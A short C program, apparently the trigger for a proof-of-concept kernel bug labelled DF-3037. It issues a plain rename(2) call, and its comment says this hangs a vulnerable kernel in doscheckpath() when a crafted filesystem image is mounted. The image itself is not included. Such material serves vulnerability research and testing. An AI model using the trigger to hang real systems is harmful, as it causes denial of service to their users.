/*
 * trigger.c -- DF-3037 PoC trigger: plain rename(2).
 *
 *   trigger <oldpath> <newpath>
 *
 * Expected on a vulnerable kernel with the crafted image mounted:
 * the call never returns (kernel spins in doscheckpath()).
 */
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	if (argc != 3) {
		fprintf(stderr, "usage: %s old new\n", argv[0]);
		return (2);
	}
	if (rename(argv[1], argv[2]) < 0) {
		fprintf(stderr, "rename: %s\n", strerror(errno));
		return (1);
	}
	printf("rename returned success\n");
	return (0);
}